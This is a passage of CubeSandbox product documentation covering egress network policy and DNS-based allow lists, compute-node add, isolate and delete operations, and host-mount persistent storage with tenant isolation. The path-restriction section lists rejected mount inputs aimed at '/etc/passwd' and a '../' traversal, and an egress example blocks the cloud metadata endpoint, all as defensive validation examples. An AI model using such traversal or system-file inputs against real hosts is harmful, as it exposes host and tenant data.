handled. 2. CubeVS parses the QNAME, lowercases it, and reverses it into an LPM-trie key. 3. If the mode is Off, the query follows normal UDP NAT. 4. CubeVS matches the reversed QNAME against the domain rules. 5. If the domain does not match, the query follows normal UDP NAT without creating a pending learning entry. 6. If the domain matches, CubeVS inserts a pending query into `dns_query_track`. The key includes: * sandbox ifindex * DNS server IP * UDP source port * DNS ID * QNAME hash 7. The pending query lifetime is `10` seconds. 8. The query then continues through UDP NAT to the real DNS server. As a result, DNS resolution for unrelated domains still succeeds if normal UDP egress is available. In strict domain allow-list configurations, the failure point for unrelated destinations is the later IP connection: because no DNS-learned allow entry is created, the destination IP is rejected by the deny-all fallback. ### DNS response path DNS responses from the external network enter the host-NIC `from_world` program: 1. `from_world` finds the matching UDP session through `ingress_sessions`. 2. If this is a response from DNS server port `53`, it invokes DNS response learning before reverse NAT. 3. Learning runs only when `ifindex_to_mvmmeta[].dns_policy_flags` has the learning flag and requires the response to match an existing pending query in `dns_query_track`. 4. Only IPv4 A records are learned; AAAA / IPv6 answers are not inserted into `allow_out_v2`. 5. At most the first `8` answers in the response are processed. 6. Learned IPs are inserted as `/32` entries into `allow_out_v2[ifindex]`, with `expires_at_ns` derived from the DNS TTL. 7. If the original DNS allow rule had `L7_REQUIRED`, the learned IP inherits that flag. 8. The pending query is deleted after learning succeeds or fails. 9. The response packet continues through reverse NAT back to the sandbox. If an IP is already a static `allow_out` entry, DNS learning does not turn it into an expiring temporary entry. The static entry remains non-expiring and flags are merged. ### DNS reaping The Cubelet embedded network runtime / CubeVS user-space side periodically scans: * `allow_out_v2`: removes expired DNS-learned temporary entries. * `dns_query_track`: removes pending queries that did not receive a response within `10` seconds. Therefore, if a domain has a short DNS TTL, the corresponding IP allow entry also expires quickly; a later access must trigger another DNS query and learning cycle. ::: warning IPv4 A records are the learned target today The dynamic domain authorization path learns IPv4 A-record answers only. IPv6 / AAAA answers are not inserted into `allow_out_v2`, and `deny_out` remains an IPv4/IP-CIDR policy. ::: ## Which traffic reaches CubeEgress CubeEgress does not see every egress packet. Traffic reaches CubeEgress only when the network target came from an L7 rule and the destination port is an HTTP/HTTPS transparent proxy port. | Traffic | Goes to CubeEgress? | Reason | | --- | --- | --- | | TCP destination port `80`, destination IP matches `allow_out_v2` with `L7_REQUIRED` | Yes | HTTP must be evaluated by CubeEgress. | | TCP destination port `443`, destination IP matches `allow_out_v2` with `L7_REQUIRED` | Yes | HTTPS must be evaluated by CubeEgress using SNI/Host and other rule fields. | | TCP `80/443`, but destination IP came only from plain `allow_out` without L7 flag | No | It is L3/L4 allowed and NATed directly. | | TCP ports other than `80/443`, even if the IP came from an L7 target | No | CubeEgress is an HTTP/HTTPS transparent proxy and only intercepts 80/443. | | UDP/53 DNS queries | No | Handled by CubeVS DNS learning. | | UDP, ICMP, other TCP ports | No | Handled by CubeVS NAT/session tracking. | | Traffic matching `deny_out` without a prior allow match | No | Rejected by CubeVS. | | `from_world` reply traffic | No | Reply direction uses session reverse NAT, not the L7 proxy entry decision. | Example: ```python rules = [ Rule( name="allow_api", match=Match(scheme="https", sni="api.example.com", host="api.example.com"), action=Action(allow=True), ) ] ``` This rule inserts `api.example.com` into `dns_allow` with `L7_REQUIRED`. The access flow is: 1. The sandbox queries A records for `api.example.com`. 2. CubeVS allows the DNS query and records a pending query. 3. The DNS response returns; CubeVS learns an A record, for example `203.0.113.10/32`, with `L7_REQUIRED`. 4. The sandbox connects to `203.0.113.10:443`. 5. `from_cube` matches the L7-marked `allow_out_v2` entry and redirects the packet to `cube-dev`. 6. TPROXY hands the connection to CubeEgress. 7. CubeEgress evaluates the full rule and decides allow/deny/audit/inject. ## Common configuration examples ### Example 1: Completely disable public egress Use this for offline code execution or data processing workloads: ```python from cubesandbox import Sandbox with Sandbox.create( template="tpl_xxx", allow_internet_access=False, ) as sb: result = sb.commands.run("curl -m 2 https://example.com") print(result.stderr) ``` Effect: * CubeVS installs `0.0.0.0/0` deny-all. * Without explicit `allow_out` or L7 targets, normal external access is rejected. * TCP usually receives a fast RST; UDP/ICMP is usually dropped. ### Example 2: Allow only fixed IP/CIDR targets Use this when only fixed egress services, internal services, or specific DNS servers should be reachable: ```python from cubesandbox import Sandbox with Sandbox.create( template="tpl_xxx", allow_internet_access=False, network={ "allow_out": [ "1.1.1.1/32", "203.0.113.0/24", ], }, ) as sb: sb.commands.run("curl http://1.1.1.1") ``` Effect: * `1.1.1.1/32` and `203.0.113.0/24` are inserted into `allow_out_v2`. * `0.0.0.0/0` remains in `deny_out` as the fallback deny. * Allow takes precedence over deny, so these targets remain reachable. ### Example 3: Allow public egress but block sensitive ranges Use this when general internet access is needed but metadata endpoints or sensitive internal ranges must be blocked: ```python from cubesandbox import Sandbox with Sandbox.create( template="tpl_xxx", allow_internet_access=True, network={ "deny_out": [ "169.254.169.254/32", "10.0.0.0/8", ], }, ) as sb: sb.commands.run("curl https://example.com") ``` Effect: * Public destinations that do not match deny are allowed by default. * Targets matching `deny_out` are rejected. * If a target also matches `allow_out`, allow still takes precedence. ### Example 4: Allow only selected domains Use this when only a few domains should be reachable and HTTP request-level inspection is not needed: ```python from cubesandbox import Sandbox with Sandbox.create( template="tpl_xxx", allow_internet_access=False, network={ "allow_out": [ "api.github.com", "*.example.com", ], }, ) as sb: sb.commands.run("curl https://api.github.com") ``` Effect: * `api.github.com` and `*.example.com` are inserted into `dns_allow`. * Matching DNS A queries are allowed. * A records from matching DNS responses are temporarily inserted into `allow_out_v2`. * Later TCP/443 connections to those IPs are NATed directly and do not enter CubeEgress, because plain `allow_out` does not carry the L7 flag. If an application bypasses DNS and directly connects to an IP that has not been learned through the sandbox DNS path, it will be rejected by deny-all in a strict allow-list configuration. ### Example 5: Use L7 rules to restrict HTTP method and path Use this when only a specific API path should be callable: ```python from cubesandbox import Sandbox, Rule, Match, Action rules = [ Rule( name="allow_deepseek_chat", match=Match( scheme="https", sni="api.deepseek.com", host="api.deepseek.com", method=["POST"], path="/v1/*", ), action=Action(allow=True, audit="metadata"), ), ] with Sandbox.create( template="tpl_xxx", allow_internet_access=False, network={"rules": rules}, ) as sb: sb.commands.run("curl -s https://api.deepseek.com/v1/chat/completions") ``` Effect: * `api.deepseek.com` is extracted from `sni` / `host` as an L7 allow target. * DNS-learned A-record IPs carry `L7_REQUIRED`. * TCP/443 enters CubeEgress. * CubeEgress evaluates `scheme`, `sni`, `host`, `method`, and `path` completely. ### Example 6: L7 deny returns request-level 403 If you want a clear request-level denial instead of a network drop, use a deny rule: ```python from cubesandbox import Sandbox, Rule, Match, Action rules = [ Rule( name="deny_example_subdomains", match=Match(scheme="https", sni="*.example.net"), action=Action(allow=False, audit="metadata"), ), ] with Sandbox.create( template="tpl_xxx", allow_internet_access=False, network={"rules": rules}, ) as sb: sb.commands.run("curl -i https://api.example.net") ``` Effect: * Even though `action.allow=False`, `*.example.net` is still programmed as an L7 target in CubeVS. * TCP/443 can enter CubeEgress. * CubeEgress matches the deny rule, returns request-level 403, and records audit information. Without routing the target into CubeEgress, the lower network layer can only drop or reset the connection; it cannot generate an HTTP 403. ### Example 7: Mix L3 allow and L7 rules ```python from cubesandbox import Sandbox, Rule, Match, Action rules = [ Rule( name="allow_payment_api", match=Match( scheme="https", sni="pay.example.com", host="pay.example.com", method=["POST"], path="/api/payments/*", ), action=Action(allow=True, audit="full"), ), ] with Sandbox.create( template="tpl_xxx", allow_internet_access=False, network={ "allow_out": [ "1.1.1.1/32", # e.g. DNS resolver or fixed service "downloads.example.com", ], "deny_out": ["203.0.113.0/24"], "rules": rules, }, ) as sb: sb.commands.run("curl https://pay.example.com/api/payments/create") ``` Effect: * `1.1.1.1/32` is statically allowed and does not enter CubeEgress. * `downloads.example.com` is allowed through DNS learning and does not enter CubeEgress. * `pay.example.com` is learned through DNS with `L7_REQUIRED`, so TCP/443 enters CubeEgress. * `203.0.113.0/24` is rejected unless a more specific destination was allowed first. ## Behavior cheat sheet | Config | Target | Result | | --- | --- | --- | | `allow_internet_access=True`, no `allow_out`/`deny_out`/`rules` | Normal public IP | Allowed by default, NATed directly. | | `allow_internet_access=False`, no allow targets | Any public IP | Rejected by `0.0.0.0/0`. TCP RST, non-TCP drop. | | `allow_internet_access=False` + `allow_out=["1.1.1.1"]` | `1.1.1.1` | Allowed, NATed directly. | | `allow_internet_access=False` + `allow_out=["api.example.com"]` | DNS first, then learned IP | Allowed after DNS A response is learned, NATed directly. | | `allow_internet_access=False` + `rules` contains `sni="api.example.com"` | `api.example.com:443` | DNS-learned IP carries L7 flag; TCP/443 enters CubeEgress. | | `rules` only has `path="/v1/*"`, no `host`/`sni` | Strict allow-list | May never reach CubeEgress because CubeVS has no network target to allow. | | `deny_out=["203.0.113.0/24"]` | `203.0.113.10` | Rejected unless allow matched first. | | `allow_out=["203.0.113.10"]` + `deny_out=["203.0.113.0/24"]` | `203.0.113.10` | Allowed because allow has priority. | | `allow_out=["*.example.com"]` | `example.com` | Does not match. | | `allow_out=["*.example.com"]` | `api.example.com` | Matches. | ## Observability and troubleshooting ### Inspect CubeVS maps `cubevsmapdump` is the host-side tool for inspecting CubeVS business maps. It is installed into the normal command path by the release/install package, so use it directly on a deployed node: ```bash sudo cubevsmapdump --list-maps sudo cubevsmapdump --map dns_allow,dns_query_track,allow_out_v2,deny_out sudo cubevsmapdump --ifindex tapxxx --map dns_allow,allow_out_v2,deny_out ``` Useful fields: | Field | Meaning | | --- | --- | | `ifindex_to_mvmmeta[].dns_policy_flags` | Raw sandbox-level DNS policy mode flags. | | `ifindex_to_mvmmeta[].dns_learning_enabled` | Whether DNS response learning is enabled for this sandbox. | | `dns_allow[].rules[].domain` | Domain policy rule installed for the sandbox. | | `dns_allow[].rules[].l7_required` | Whether IPs learned from this domain should later enter CubeEgress. | | `dns_allow[].enabled` / `learning_enabled` / `flags` | Compatibility view derived from `ifindex_to_mvmmeta`, not entries stored in `dns_allow`. | | `dns_query_track` | DNS queries currently waiting for responses; usually short-lived. | | `allow_out_v2[].entries[].expires_at_ns` / `expires_in` | `0` or empty means static allow; non-zero means DNS-learned temporary entry. | | `allow_out_v2[].entries[].l7_required` | Whether TCP/80 and TCP/443 flows to this IP should enter CubeEgress. | | `deny_out` | Current deny CIDRs for the sandbox, including user entries, built-in internal CIDRs, or deny-all. | ### Check services ```bash sudo systemctl status cube-sandbox-cubelet.service sudo systemctl status cube-sandbox-cube-egress.service sudo systemctl restart cube-sandbox-compute.target ``` --- --- url: https://cubesandbox.com/guide/node-operations.md --- # Node Operations This page covers the three main compute-node operations in a CubeSandbox cluster: adding a node, isolating a node for maintenance, and deleting a retired node. Use `cubeopscli` on the control node or the WebUI node detail page for day-to-day node management. The examples below assume CubeOps is available at `127.0.0.1:3010`; use the control-plane IP in a multi-node deployment. List nodes before and after an operation to confirm the node ID and current state: ```bash cubeopscli node list # Query one node cubeopscli node list --hostid <node_id> ``` ## Add a node Adding a compute node means installing the compute-plane components and registering Cubelet with CubeOps. There is no separate `node add` CLI command: registration happens automatically when the compute-node service starts. ### Prerequisites * A working control node installed with the same CubeSandbox release bundle. * A compute host that meets the hardware and software requirements. * Network access from the compute node to CubeOps on port `3010`. * Access to the cluster's S3-compatible storage endpoint. When using the bundled MinIO, the compute node must reach the control node on port `9000`. ### Procedure 1. Copy and extract the same release bundle used by the control node. 2. Copy the environment template, then set the compute-node role, node IP, and control-plane address: ```bash cp env.example .env ONE_CLICK_DEPLOY_ROLE=compute CUBE_SANDBOX_NODE_IP=<current-node-ip> ONE_CLICK_CONTROL_PLANE_IP=<control-plane-ip> ``` 3. (Optional but strongly recommended) Copy `CUBE_S3_*` from the control node to this node's `.env`: ```bash # Run on the control node; paste the output into the compute node's .env grep '^CUBE_S3_' /usr/local/services/cubetoolbox/.one-click.env ``` Or point at another shared S3-compatible store. If missing, the installer warns and continues, but the S3 volume plugin stays disabled; you'll be reminded again when install finishes. 4. Install the compute node: ```bash sudo ./install-compute.sh ``` 5. Verify the local services: ```bash sudo ./quickcheck.sh ``` 6. From the control node, confirm that the node is registered and healthy: ```bash cubeopscli node list ``` 7. Distribute the templates required on the new node. Depending on the template state and deployment workflow, use template redo with the target node or rebuild the template. For complete environment variables, installation behavior, scheduler configuration, and troubleshooting, see [Multi-Node Cluster Deployment](./multi-node-deploy.md). ## Isolate a node Isolation temporarily prevents CubeMaster from scheduling new sandboxes onto a compute node. It is similar to Kubernetes `cordon`: the node may remain healthy and existing sandboxes continue running. | Aspect | Behavior after isolation | | --- | --- | | New sandbox scheduling | The node is skipped. Creation fails if no other schedulable node is available. | | Existing sandboxes | Unaffected; they are not destroyed or migrated automatically. | | Node health | Independent of isolation; an isolated node can remain `healthy=true`. | | Cubelet heartbeat | Continues normally and cannot clear the isolation state. | CubeOps records isolation with the reserved label: ```text cube.cloud.tencentcloud.com/scheduling-disabled=true ``` The generic labels API and Cubelet registration cannot set or clear this label. ::: warning Isolation is not drain Isolation does not evict existing sandboxes. Before maintenance that interrupts processes or networking, isolate the node and then explicitly destroy its sandboxes. ::: ### Isolate ```bash # One node cubeopscli node isolate <node_id> # Multiple nodes cubeopscli node isolate <node_id_1> <node_id_2> ``` The operation is idempotent. After it succeeds, confirm that `SCHEDULING_DISABLED` is `true`: ```bash cubeopscli node list ``` Wait at least 60 seconds for in-flight scheduling and creation windows to finish before disruptive maintenance. For automation, use the CubeOps API with a JWT: ```bash curl -X PUT "http://127.0.0.1:3010/api/v1/nodes/<node_id>/isolation" \ -H "Authorization: Bearer $TOKEN" ``` ### Unisolate After maintenance, allow the node to receive new sandboxes again: ```bash cubeopscli node unisolate <node_id> ``` Or use the API: ```bash curl -X DELETE "http://127.0.0.1:3010/api/v1/nodes/<node_id>/isolation" \ -H "Authorization: Bearer $TOKEN" ``` Confirm that `SCHEDULING_DISABLED` is `false` before returning the node to service. For a Kubernetes compute-plane upgrade, follow [Kubernetes Upgrade](./kubernetes/upgrade.md) after isolating and emptying the node. ## Delete a node Deleting a node removes its registration, status, component-version metadata, and cached metrics from CubeOps. It does not stop processes, destroy sandboxes, remove disks, or delete a Kubernetes Node object. ::: warning Isolate and empty the node first CubeOps only deletes a node that is isolated and has no sandboxes. Deletion does not isolate the node or destroy its workloads. ::: ### Recommended sequence 1. Isolate the node. 2. Wait at least 60 seconds for in-flight scheduling to finish. 3. Destroy every sandbox on the node. 4. Stop or retire Cubelet so it cannot immediately register again. 5. Delete the node record. 6. Confirm that the node is absent from the list. ### Delete with cubeopscli ```bash # Delete one node cubeopscli node rm <node_id> # `rm` is an alias for `delete`; multiple nodes are supported cubeopscli node delete <node_id_1> <node_id_2> ``` Batch deletion attempts every node even if an earlier node fails, then returns an error listing the failures. If the compute node is unreachable and CubeOps cannot verify its sandbox inventory, use forced deletion: ```bash cubeopscli node rm --force <node_id> ``` `--force` bypasses only sandbox inventory verification. The node must still be isolated. ### Delete with the internal API ```bash curl -X DELETE "http://127.0.0.1:3010/internal/v1/nodes/<node_id>" # Bypass inventory verification when the node is unreachable curl -X DELETE "http://127.0.0.1:3010/internal/v1/nodes/<node_id>?force=true" ``` Common failures are: * `404 Not Found`: the node does not exist. * `409 Conflict`: the node is not isolated or still has sandboxes. * `502 Bad Gateway`: CubeMaster could not verify the sandbox inventory; restore connectivity or explicitly retry with force. Deletion is not a permanent ban. If Cubelet is still running or starts again, it can register the same node ID as a new node record. ## Related documentation * [Multi-Node Cluster Deployment](./multi-node-deploy.md) * [CubeMaster Scheduler Configuration](./cubemaster-scheduler-config.md) * [Service Management & Logs](./service-management.md) * [Kubernetes Upgrade](./kubernetes/upgrade.md) --- --- url: https://cubesandbox.com/guide/performance-benchmark.md --- # Performance Benchmark Detailed benchmark reports: * [CubeSandbox Core Operations Performance Benchmark](../blog/posts/2026-06-01-cubesandbox-perf-benchmark.md) * [CubeSandbox Core Operations Performance Benchmark on a PVM Cloud Server](../blog/posts/2026-06-03-cubesandbox-perf-benchmark-pvm.md) --- --- url: https://cubesandbox.com/guide/persistent-storage.md --- # Persistent Storage (Host Mount) Cube Sandbox runs inside lightweight MicroVMs — by default, all data written inside a sandbox is **ephemeral** and disappears when the sandbox is killed. **Host mount** is a Cube-specific extension that bind-mounts directories from the sandbox host node into the sandbox, enabling persistent, shared storage without copying files. ## Concept ```mermaid flowchart LR subgraph Host["Sandbox host node"] HostModels["/data/shared/models"] HostOutput["/data/shared/output"] subgraph VM["KVM MicroVM (sandbox)"] VMModels["Internal directory<br/>/models"] VMOutput["Internal directory<br/>/output"] end HostModels -->|"Read-only mapping"| VMModels HostOutput -->|"Read-write mapping"| VMOutput end ``` A host mount maps an **absolute path on the sandbox host node** to a **path inside the sandbox VM**. Changes to a read-write mount are visible on both sides immediately — no sync, no upload, no delay. ## Use Cases Host Mount is suitable when a sandbox needs direct access to existing data on its host node or needs to preserve generated data on that node. Common use cases include: * **Shared datasets and model weights**: mount large data directories read-only so multiple sandboxes on the same node can reuse them without copying. * **Persistent task output**: mount an output directory read-write so logs, build artifacts, and computation results remain after sandbox teardown. * **Reusable source workspaces**: mount a code repository for development, build, test, or code-analysis tasks. * **Shared dependencies and caches**: reuse packages, toolchains, or build caches from the host to reduce repeated downloads and initialization. > Host Mount is best for quickly sharing directories that already exist on a node. For cloud storage managed across sandbox lifecycles, consider **user-scoped persistent volumes** backed by COS, NFS, or another backend; see the [Volume Plugin Development guide](./volume-plugin.md). ## Quick Start Prepare the host directories on the sandbox host node: ```bash sudo mkdir -p /data/shared/rw /data/shared/ro echo "hello from host" | sudo tee /data/shared/ro/greeting.txt sudo chown -R 1000:1000 /data/shared/rw ``` ### Create a Sandbox with Host Mounts Specify Host Mount through the `host-mount` key in the `metadata` argument to `Sandbox.create()`. Its value is a **JSON-encoded array** in which each item is a mount descriptor, so one sandbox can request multiple mounts. Every descriptor requires three fields: `hostPath` is an absolute path on the sandbox host node and must be under an allowed directory prefix; `mountPath` is the target path inside the sandbox VM; and `readOnly` selects the access mode, where `true` means read-only and `false` means read-write. ```python import json import os from cubesandbox import Sandbox with Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], metadata={ "host-mount": json.dumps([ { "hostPath": "/data/shared/rw", "mountPath": "/mnt/rw", "readOnly": False, }, { "hostPath": "/data/shared/ro", "mountPath": "/mnt/ro", "readOnly": True, }, ]) }, ) as sandbox: result = sandbox.commands.run("ls /mnt/rw /mnt/ro") print("mount contents:", result.stdout.strip()) ``` Expected output: ``` mount contents: /mnt/ro: greeting.txt /mnt/rw: ``` ### Write Data That Survives Sandbox Teardown ```python import json import os from cubesandbox import Sandbox mounts = json.dumps([ {"hostPath": "/data/shared/rw", "mountPath": "/mnt/rw", "readOnly": False}, ]) with Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], metadata={"host-mount": mounts}, ) as sandbox: sandbox.commands.run("echo 'persist data' > /mnt/rw/output.txt") ``` ```bash # The sandbox is gone, but the file persists on the host: $ cat /data/shared/rw/output.txt persist data ``` ## Snapshots of Host Mount Sandboxes A host mount is an **external reference** to a directory on the host. When Cube creates a snapshot, it saves the VM's memory, root filesystem state, and mount configuration, but it does not copy files from `hostPath` into the snapshot. The host directory remains independent and follows these semantics: * **Pause / Resume and FromSnap**: restore reuses the original mount configuration and remounts the same `hostPath` on the origin node. A sandbox with a host mount is pinned to its origin node and cannot restore across nodes; restore fails if the origin node is unavailable or the host directory no longer exists. * **Rollback**: VM memory and root-filesystem state outside host-mounted paths return to the state at snapshot creation, but host-mounted data does not roll back. Files added, modified, or deleted in the host directory after the snapshot retain their latest state. * **Clone**: each clone has independent VM state but references the same host directories. Changes to a read-write mount are accessible to the source sandbox and other clones through the shared directory, subject to the backing filesystem's consistency semantics; read-only mounts remain read-only in every clone. * **Deleting a sandbox or snapshot**: does not delete the host directory or its files. ::: warning Concurrent writes FromSnap or Clone can leave multiple running sandboxes accessing the same writable `hostPath`. Host Mount does not automatically provide locking, versioning, or write-conflict coordination; applications must coordinate concurrent access themselves and may use locking supported by the backing filesystem. ::: ## Path Restriction For security, `hostPath` is restricted to a set of **allowed directory prefixes**. By default, only paths under `/data/shared/` are permitted. Attempts to mount paths outside the allowed prefixes will be **rejected at sandbox creation time**. ::: warning `hostPath` refers to the filesystem of the **sandbox host node** running the sandbox, not the machine where your SDK script executes. If you call the API from a remote machine, make sure the path exists on the sandbox host node, not on your local computer. ::: ### Default Behavior Out of the box, only the following paths are valid: ```python # ✅ Allowed {"hostPath": "/data/shared/models", "mountPath": "/models", "readOnly": True} {"hostPath": "/data/shared/team-a/output", "mountPath": "/output", "readOnly": False} # ❌ Rejected {"hostPath": "/etc/passwd", "mountPath": "/mnt/x", "readOnly": True} {"hostPath": "/tmp/data", "mountPath": "/mnt/data", "readOnly": False} {"hostPath": "/data/shared/../etc", "mountPath": "/mnt/x", "readOnly": True} # traversal blocked ``` ### Error Response If a disallowed path is specified, the SDK raises an `ApiError`: ```python from cubesandbox import Sandbox from cubesandbox import ApiError import os import json try: sandbox = Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], metadata={"host-mount": json.dumps([ {"hostPath": "/etc/passwd", "mountPath": "/mnt/x", "readOnly": True} ])} ) except ApiError as e: print(e.status_code) # 400 print(str(e)) # CubeMaster returned error code 130400: "host-mount" entry[0]: hostPath "/etc/passwd" is not within an allowed mount prefix ``` ### Custom Allowed Prefixes Cluster administrators can configure additional allowed prefixes in CubeMaster's config file: ```yaml extra_conf: allowed_host_mount_prefixes: - "/data/shared/" - "/data/team-assets/" - "/mnt/nfs/datasets/" ``` When the list is empty or omitted, the default `["/data/shared/"]` applies. The root path `/` is explicitly forbidden — CubeMaster will refuse to start if it appears in the list. > CubeMaster first normalizes `hostPath` with `filepath.Clean` to remove components such as `..`, then matches it against directory prefixes with a trailing `/`. This prevents a path such as `/data/shared_evil` from masquerading as a child of `/data/shared/`. At startup, CubeMaster also rejects `/` as an allowed prefix to prevent accidental exposure of the entire host filesystem. > > The same path validation applies whether the mount request comes from an annotation forwarded by CubeAPI or from a directly specified volume path, preventing bypass through a different entry point. ## Permissions Host mounts preserve the original ownership and permission bits of the host directory. The `readOnly` flag only controls whether Cube mounts the path read-only or read-write — it does **not** override Linux file permissions. If the sandbox user's UID does not match the host directory owner, writes will fail with `Permission denied`. Quick fix: ```bash # Align directory owner to the sandbox user sudo chown 1000:1000 /data/shared/rw ``` For other solutions (read-only mounts, POSIX ACLs, running as root, etc.), see [Host Mount Permissions Troubleshooting](./troubleshooting/host-mount-permissions.md). ## Multi-Node Cluster: Shared Storage Host mounts are **node-local**. In a multi-node cluster, the `hostPath` must exist on whichever sandbox host node schedules the sandbox. The recommended approach is to use shared storage so the same filesystem is mounted at a uniform path on all nodes. ### NFS Example Mount NFS on every sandbox host node: ```bash # Add to /etc/fstab: nfs-server:/export/shared /data/shared nfs defaults,hard,intr 0 0 ``` ```bash sudo mount -a ls /data/shared # All nodes see the same content ``` Sandboxes can then use any path under `/data/shared/` regardless of which node they are scheduled on. ### Object Storage (S3/COS) Example Use a FUSE tool (e.g. `s3fs`, `cosfs`) to mount an object storage bucket as a local directory: ```bash # Install cosfs (Tencent Cloud COS) sudo apt-get install cosfs # Configure credentials echo "my-bucket:AKIDxxxx:xxxxxx" > /etc/passwd-cosfs chmod 600 /etc/passwd-cosfs # Mount to /data/shared cosfs my-bucket /data/shared -ourl=https://cos.ap-guangzhou.myqcloud.com \ -oallow_other -ouid=1000 -ogid=1000 ``` ```bash # AWS S3 using s3fs s3fs my-bucket /data/shared \ -o iam_role=auto \ -o url=https://s3.amazonaws.com \ -o allow_other -o uid=1000 -o gid=1000 ``` ::: tip Object storage mounts work best for read-only scenarios (model weights, datasets). Write performance and POSIX compatibility are inferior to NFS; for frequent small-file writes, prefer NFS or block storage. ::: ## Multi-Tenant Isolation In multi-tenant environments, each tenant's sandbox should only access its own data directory, with no visibility into other tenants' files. The recommended approach combines directory structure with application-layer enforcement. ### Directory Layout Partition by tenant ID: ``` /data/shared/ ├── tenant-a/ │ ├── datasets/ │ └── output/ ├── tenant-b/ │ ├── datasets/ │ └── output/ └── tenant-c/ └── ... ``` Each tenant's sandbox only mounts its own subdirectory: ```python import json import os from cubesandbox import Sandbox tenant_id = "tenant-a" mounts = json.dumps([ { "hostPath": f"/data/shared/{tenant_id}/datasets", "mountPath": "/datasets", "readOnly": True, }, { "hostPath": f"/data/shared/{tenant_id}/output", "mountPath": "/output", "readOnly": False, }, ]) with Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], metadata={"host-mount": mounts}, ) as sandbox: sandbox.commands.run("ls /datasets /output") ``` Tenant A's sandbox can only see `/data/shared/tenant-a/` — it cannot access `tenant-b` or `tenant-c` directories. ### Application-Layer Enforcement In the code that calls `Sandbox.create()`, construct `hostPath` from the authenticated user's tenant ID. **Never allow users to pass arbitrary paths:** ```python def create_tenant_sandbox(tenant_id: str, template_id: str): """Platform controls mount paths; tenants cannot specify arbitrary hostPaths.""" base = f"/data/shared/{tenant_id}" mounts = json.dumps([ {"hostPath": f"{base}/input", "mountPath": "/input", "readOnly": True}, {"hostPath": f"{base}/output", "mountPath": "/output", "readOnly": False}, ]) return Sandbox.create( template=template_id, metadata={"host-mount": mounts}, ) ``` ### Filesystem Permission Hardening (Optional) Combine with Linux permissions as a defense-in-depth layer — even if a path is somehow bypassed, the OS rejects cross-tenant access: ```bash # Create isolated directories with distinct UIDs/GIDs per tenant sudo mkdir -p /data/shared/tenant-a /data/shared/tenant-b sudo chown 1001:1001 /data/shared/tenant-a sudo chown 1002:1002 /data/shared/tenant-b sudo chmod 0700 /data/shared/tenant-a sudo chmod 0700 /data/shared/tenant-b ``` Even if a sandbox attempts to access another tenant's path (e.g. via traversal), it is blocked by both CubeMaster's path validation and OS-level permissions. ### Isolation Layers Summary | Layer | Mechanism | Purpose | |-------|-----------|---------| | Directory layout | Isolated subdirectory per tenant; each sandbox only mounts its own path | Structural data isolation; tenants cannot see each other | | Application | Platform code constructs paths; user input is not trusted | Tenant isolation under normal operation | | OS | Directory owner/mode permissions | Last-resort protection against any bypass | ## Nested Mounts: Shared Read, Writer-Scoped A nested mount is a pair of mounts where one `mountPath` is below another. This is useful when a group shares one workspace but each sandbox should only write to its own subdirectory. The group can represent an Agent Team, project, department, or tenant; Cube Sandbox does not manage that membership. For example, an Agent Team can use this host layout: ```text /data/shared/tenant-a/team-blue/ ├── shared-input.txt └── members/ ├── agent-a/ └── agent-b/ ``` Agent A receives the shared workspace as read-only, then its own directory as a nested read-write mount: ```python import json mounts = json.dumps([ { "hostPath": "/data/shared/tenant-a/team-blue", "mountPath": "/workspace", "readOnly": True, }, { "hostPath": "/data/shared/tenant-a/team-blue/members/agent-a", "mountPath": "/workspace/members/agent-a", "readOnly": False, }, ]) ``` Agent B uses the same read-only parent and mounts only `members/agent-b` as read-write. Agents can use different sandbox templates; the storage layout and access modes remain the same. | Path visible to Agent A | Read | Write | Why | |-------------------------|------|-------|-----| | `/workspace/shared-input.txt` | Yes | No | Provided by the shared read-only parent | | `/workspace/members/agent-a/` | Yes | Yes | Replaced at that path by Agent A's read-write child mount | | `/workspace/members/agent-b/` | Yes | No | Still provided by the shared read-only parent | | Another tenant's workspace | No | No | Its host path is not mounted into this sandbox | This is a **shared-readable, writer-scoped** model. “Writer-scoped” means only the selected sandbox receives a writable mount for that directory; it does not make the directory unreadable to peers when the read-only parent exposes it. ### Mount Semantics and Constraints * During AppSnapshot restore, Cubelet applies parent destinations before nested destinations, regardless of the descriptor order. This prevents a later parent mount from hiding an already-mounted child. Unrelated paths have a deterministic order but no parent-child meaning. * A child mount shadows the parent at that exact subtree; the two directory views are not merged. Files from the parent at the child destination are hidden while the child mount is active. * `readOnly` applies to each mount independently, but normal Linux UID, GID, mode, and ACL checks still apply. A read-write child can still return `Permission denied` if its host permissions reject the sandbox user. * Prefer one read-only parent and explicit read-write children. Avoid duplicate destinations and overlapping writable mounts, because ownership and the visible result become difficult to reason about. * Use canonical absolute `mountPath` values without `.` or `..` segments. Do not rely on input order to resolve overlapping destinations. * Host mounts are node-local and remain outside the sandbox snapshot. Snapshot FromSnap and Pause/Resume with a raw host mount are pinned to the origin node; an identical path on another node is not treated as the same storage. For portable cross-node snapshot restore, use a plugin Volume backed by storage that every eligible node can attach. ::: warning Authorization boundary The platform calling `Sandbox.create()` must derive `hostPath` from the authenticated sandbox owner and the applicable group boundary, such as a tenant, team, or project. Do not accept an arbitrary host path from the user, and do not mount a global root such as `/data/shared/tenants/` into a tenant sandbox: a read-only mount prevents writes but does not prevent the sandbox from reading other tenants' data. ::: ## Best Practices * **Prefer read-only mounts** for input data (datasets, models, configs). This prevents accidental writes from the sandbox and is the safest default. * **Use dedicated directories** for read-write mounts. Avoid mounting broad paths like `/` or `/home`. Create a purpose-specific directory (e.g. `/data/shared/output`) and scope the mount to it. * **Check permissions early.** Run `id` and `stat` inside the sandbox to verify the effective UID matches the host directory owner before relying on writes. * **Clean up output directories** periodically. Host-mounted output directories accumulate files across sandbox sessions — unlike the sandbox itself, they are not cleaned up on teardown. * **Keep allowed prefixes narrow.** Only add specific trusted paths to `allowed_host_mount_prefixes`. Never add root-level paths like `/data/` — prefer deeper paths like `/data/shared/`. ## Troubleshooting | Symptom | Likely Cause | Fix | |---------|-------------|-----| | `hostPath "..." is not within an allowed mount prefix` | Path is outside allowed prefixes | Move data under `/data/shared/` or update `allowed_host_mount_prefixes` in CubeMaster config | | `No such file or directory` inside sandbox | `hostPath` does not exist on the sandbox host node | Create the directory on the node before running | | `Read-only file system` on write | Mounted with `readOnly: true` | Use `readOnly: false` | | `Permission denied` on write | Host directory ownership mismatch | See [Permissions](#permissions) section above | | `Template not found` | Wrong template ID | Run `cubemastercli tpl list` | | `Connection refused` | CubeAPI not reachable | Check 